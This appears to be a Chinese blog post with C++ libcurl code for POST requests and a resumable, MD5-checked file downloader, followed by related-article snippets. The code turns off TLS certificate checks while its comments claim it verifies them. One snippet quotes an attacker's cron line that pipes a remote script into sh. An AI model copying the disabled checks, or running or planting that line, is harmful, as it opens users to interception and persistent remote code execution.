CURL 实战下载
#include <string>
#include <stdio.h>
#include <iostream>
#include<fstream> #include "curl.h" #ifdef WIN32
#include <corecrt_io.h>
#else
#include "unistd.h"
#include<unistd.h>
#endif
#include "curl_http.h"
#include "md5.h"
#include "OperateFile.h"
using namespace std; curl_http::curl_http()
: list(NULL)
{
} curl_http::~curl_http()
{
if (list)
{
curl_slist_free_all(list);
}
} void curl_http::add_header(const std::string & header)
{
list = curl_slist_append(list, header.c_str());
} static size_t OnWriteData(void* buffer, size_t size, size_t nmemb, void* lpVoid)
{
std::string* str = dynamic_cast<std::string*>((std::string *)lpVoid);
if (NULL == str || NULL == buffer)
{
return -1;
}
char* pData = (char*)buffer;
str->append(pData, size * nmemb);
return nmemb;
} int curl_http::Post(std::string strUrl, std::string strPost, int& statusCode, std::string& strResponse) {
CURLcode res;
CURL* curl = curl_easy_init();
if (NULL == curl)
{
return CURLE_FAILED_INIT;
}
curl_easy_setopt(curl, CURLOPT_URL, strUrl.c_str());
if (list)
{
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, list);
}
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); //验证SSL证书
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); //验证主机名的SSL
curl_easy_setopt(curl, CURLOPT_POST, 1); //发送一个HTTP POST要求
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, strPost.c_str()); //用这个数据发送一个POST
curl_easy_setopt(curl, CURLOPT_READFUNCTION, NULL); //读取数据回调
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, OnWriteData); //写入数据的回调
curl_easy_setopt(curl, CURLOPT_WRITEDATA, (void *)&strResponse); //数据指针传递给写回调
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1); //不安装信号处理程序
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 3); //整个请求超时时间
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 3); //连接阶段超时时间
curl_easy_setopt(curl, CURLOPT_USERAGENT, "pc_student"); //用户代理:标头
res = curl_easy_perform(curl);
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &statusCode);
curl_easy_cleanup(curl);
return res;
} static size_t OnWriteFile(void* buffer, size_t size, size_t nmemb, void* lpVoid)
{
FILE* stream = (FILE*)lpVoid;
if (nullptr == stream || nullptr == buffer)
{
return -1;
}
size_t nWrite = fwrite(buffer, size, nmemb, stream);
return nWrite;
} int OnProgress(void *ptr, double totalToDownload, double nowDownloaded, double totalToUpLoad, double nowUpLoaded)
{
int tmp = 0;
long localLen = *(long*)ptr;
if ( totalToDownload > 0 )
{
tmp = (int)((nowDownloaded + (double)localLen) / (totalToDownload + (double)localLen) * 100);
}
printf("下载进度%0d%%\r", tmp);
return 0;
} size_t ProgressFunc(double* pFileLen,
double t,// 下载时总大小
double d, // 已经下载大小
double ultotal, // 上传是总大小
double ulnow) // 已经上传大小
{
if(t == 0) return 0;
*pFileLen = d;
return 0;
} curl_http_downloader::curl_http_downloader(const std::string& name)
: m_file(nullptr)
, m_TargetName(name)
, m_progress(nullptr)
{
} curl_http_downloader::~curl_http_downloader()
{
} bool curl_http_downloader::DownloadFileContent(const std::string& url,
const std::string& Targetfilepath,
const std::string& Temfilepath,
string SizeRange)
{
CURLcode res;
if(OpenFile(Temfilepath,m_file) || OpenFile(Targetfilepath,m_ExitFile))
return false; CURL* _curl = curl_easy_init(); if (nullptr == _curl)
{
CloseFile(m_file);
CloseFile(m_ExitFile);
return false;
} curl_easy_setopt(_curl, CURLOPT_URL, url.c_str());
curl_easy_setopt(_curl, CURLOPT_WRITEFUNCTION, OnWriteFile);
curl_easy_setopt(_curl, CURLOPT_WRITEDATA, m_file);
curl_easy_setopt(_curl, CURLOPT_NOPROGRESS, false);
curl_easy_setopt(_curl, CURLOPT_PROGRESSFUNCTION, OnProgress);
curl_easy_setopt(_curl, CURLOPT_NOSIGNAL, 1L);
curl_easy_setopt(_curl, CURLOPT_LOW_SPEED_LIMIT, 1L);
curl_easy_setopt(_curl, CURLOPT_LOW_SPEED_TIME, 5L); curl_easy_setopt(_curl, CURLOPT_HEADER, 0L);
curl_easy_setopt(_curl, CURLOPT_NOBODY, 0L);
curl_easy_setopt(_curl, CURLOPT_FOLLOWLOCATION, 1L);
//curl_easy_setopt(_curl, CURLOPT_MAX_RECV_SPEED_LARGE, (curl_off_t)1000); if (SizeRange == "")
curl_easy_setopt(_curl, CURLOPT_RESUME_FROM, m_LocalFilelen);
else
curl_easy_setopt(_curl, CURLOPT_RANGE, SizeRange.c_str()); curl_easy_setopt(_curl, CURLOPT_PROGRESSDATA, &m_LocalFilelen); res = curl_easy_perform(_curl); //完成curl_easy_setopt指定的所有选项,并返回状态
curl_easy_cleanup(_curl); CloseFile(m_file);
CloseFile(m_ExitFile); if (CURLE_OK == res)
return true;
else
return false;
} int curl_http_downloader::Download(const std::string& url, const std::string& path, progressFunc func,string CurrectMD5)
{
m_filePath = path; #ifdef WIN32
m_TargetFileNamepath = m_filePath + "temp.downloading";
m_Tempinterfilepath = m_filePath + "temp";
#else
m_TargetFileNamepath = m_filePath + "temp.downloading";
m_Tempinterfilepath = m_filePath + "temp";
#endif m_LocalFilelen = GetFileLength(m_TargetFileNamepath); //获取已下载文件大小
bool CricleFlags = true; //CricleFlags为dfalse时,说明下载文件错误,重新下载错误部分
bool Downloadflags = true; //Downloadflags为dfalse时,将进行下载与拼接
string range = "";
do{ bool result = DownloadFileContent(url, m_TargetFileNamepath, m_Tempinterfilepath, range);
if (result) {
std::string fullName = m_filePath + m_TargetName; if(Downloadflags)
MergerFile(m_Tempinterfilepath,m_TargetFileNamepath);
else
ToRightMergerFile(m_TargetFileNamepath, m_Tempinterfilepath); string m_fileMD5 = MD5::getFileMd5(m_TargetFileNamepath); int bmoved = 0;
#ifdef WIN32
if (_access(m_TargetFileNamepath.c_str(), 0) == 0)
remove(fullName.c_str());
#else
if (access(m_TargetFileNamepath.c_str(), 0) == 0)
remove(fullName.c_str());
#endif // WIN 32 if(CurrectMD5 == m_fileMD5){ //MD5校验
bmoved = rename(m_TargetFileNamepath.c_str(), fullName.c_str());
remove(m_Tempinterfilepath.c_str());
CricleFlags = true;
}
else{
ExchangFileName(m_Tempinterfilepath, m_TargetFileNamepath);
remove(m_Tempinterfilepath.c_str());
if((Downloadflags = !Downloadflags))
range = "";
else
range = "0-" + to_string(m_LocalFilelen-1) ;
CricleFlags = false;
}
if (bmoved) {
//std::cerr << "move file: " << m_fileNameTmp << " to: " << fullName <<" failed! ";
return -1;
}
}
else{
if(GetFileLength(m_Tempinterfilepath)){
MergerFile(m_Tempinterfilepath,m_TargetFileNamepath);
remove(m_Tempinterfilepath.c_str());
}
}
}while(!CricleFlags);
CloseFile(m_file);
CloseFile(m_ExitFile);
return 0;
} int curl_http_downloader::Pause() {
if (nullptr != m_download_info) {
m_download_info->status = PAUSED;
}
return 0;
}
CURL 实战下载的更多相关文章
- curl -O 下载文件
curl -O 下载文件 学习了:http://blog.csdn.net/wulong710/article/details/53127606 curl -O http://a.b.c/a.tar ...
- Linux如何使用cURL分割下载大文件
Linux如何使用cURL分割下载大文件 - 51CTO.COM http://os.51cto.com/art/201508/489368.htm
- curl多线程下载类
<?php /** * curl多线程下载类 */class MultiHttpRequest{ public $urls = array (); private $res = array () ...
- Python简单网络爬虫实战—下载论文名称,作者信息(下)
在Python简单网络爬虫实战—下载论文名称,作者信息(上)中,学会了get到网页内容以及在谷歌浏览器找到了需要提取的内容的数据结构,接下来记录我是如何找到所有author和title的 1.从sou ...
- Windows系统下curl的下载和配置
curl的下载和配置 简介:用URL规则在命令行下工作的文件传输工具. 下载:下载地址为 https://curl.haxx.se/download.html,在最底部找到Windows的版本,我下载 ...
- C++代码利用pthread线程池与curl批量下载地图瓦片数据
项目需求编写的程序,稳定性有待进一步测试. 适用场景:在网络地图上,比如天地图与谷歌地图,用户用鼠标在地图上拉一个矩形框,希望下载该矩形框内某一层级的瓦片数据,并将所有瓦片拼接成一个完整的,包含地理坐 ...
- curl定时任务下载执行
服务器入侵后有定时任务执行如下,通过cron,下载脚本并执行!达到杀不死的木马进程 */5 * * * * curl -fsSL http://xxxx/pm.sh?0111 | sh curl参数解 ...
- Linux curl 命令下载文件
引用自http://blog.csdn.net/wh211212/article/details/54285921 命令:curl 在Linux中curl是一个利用URL规则在命令行下工作的文件传输工 ...
- wget和curl方式下载JDK
有时候我们需要在Linux服务器上安装Oracle JDK,这时候我们发现直接复制网页上面的地址是不能下载的 以下载jdk-8u101-linux-i586.tar.gz为例,右键查看到的地址为htt ...
随机推荐
- 五分钟带你读懂 堆 —— heap(内含JavaScript代码实现!!)
一.概念 说起堆,我们就想起了土堆,把土堆起来,当我们要用土的时候,首先用到最上面的土.类似地,堆其实是一种优先队列,按照某种优先级将数字"堆"起来,每次取得时候从堆顶取. 堆 ...
- TVM优化GPU机器翻译
TVM优化GPU机器翻译 背景 神经机器翻译(NMT)是一种自动化的端到端方法,具有克服传统基于短语的翻译系统中的弱点的潜力.最近,阿里巴巴集团正在为全球电子商务部署NMT服务. 将Transform ...
- C++标准模板库(STL)——set常见用法详解
set的定义 set<typename> name; typename可以是任何基本类型,如int.double.char.结构体等,也可以是STL标准容器,如vector.set.que ...
- 一枚通过参数污染绕过百度RASP的XSS
日常工作过程中,偶然发现一个网站登录页面,在页面返回包中存在一个隐藏参数"mess",且该页面部署了百度RASP进行防护,本文介绍如何发现隐藏参数以及如何通过参数污染方式造成XSS ...
- python-selenium 引入包或者类的清晰写法
#cording=gbk#一般最上面放系统自带的包或者类import os import time##第二层放第三方下载的包或者类from selenium import webdriverfrom ...
- 编译原理-一种词法分析器LEX原理
1.将所有单词的正规集用正规式描述 2.用正规式到NFA的转换算 得到识别所有单词用NFA 3.用NFA到DFA的转换算法 得到识别所有单词用DFA 4.将DFA的状态转换函数表示成二维数组 并与DF ...
- 「题解」300iq Contest 2 B Bitwise Xor
本文将同步发布于: 洛谷博客: csdn: 博客园: 简书. 题目 题目链接:gym102331B. 题意概述 给你一个长度为 \(n\) 的序列 \(a_i\),求一个最长的子序列满足所有子序列中的 ...
- (1)http基础
HTTP服务基础 • 基于 B/S (Browser/Server)架构的网页服务– 服务端提供网页– 浏览器下载并显示网页 • Hyper Text Transfer Protocol,超文本传输协 ...
- 基于Android平台的图书管理系统的制作(3)
前两篇介绍了主页面和Student,这一篇来讲Book类和工作人员. Book是图书管理系统的核心,查书,借书,还书,增加书都与Book类息息相关.Book类的设计很简单:包含信息:名称.作者.页数. ...
- teprunner重磅更新Git打通PyCharm与测试平台
经过Python测试交流群的小伙伴群策群力,teprunner添加了一个重要功能,把PyCharm中的代码,通过Git同步到测试平台中,生成测试用例.这样,teprunner就成了一个名副其实的pyt ...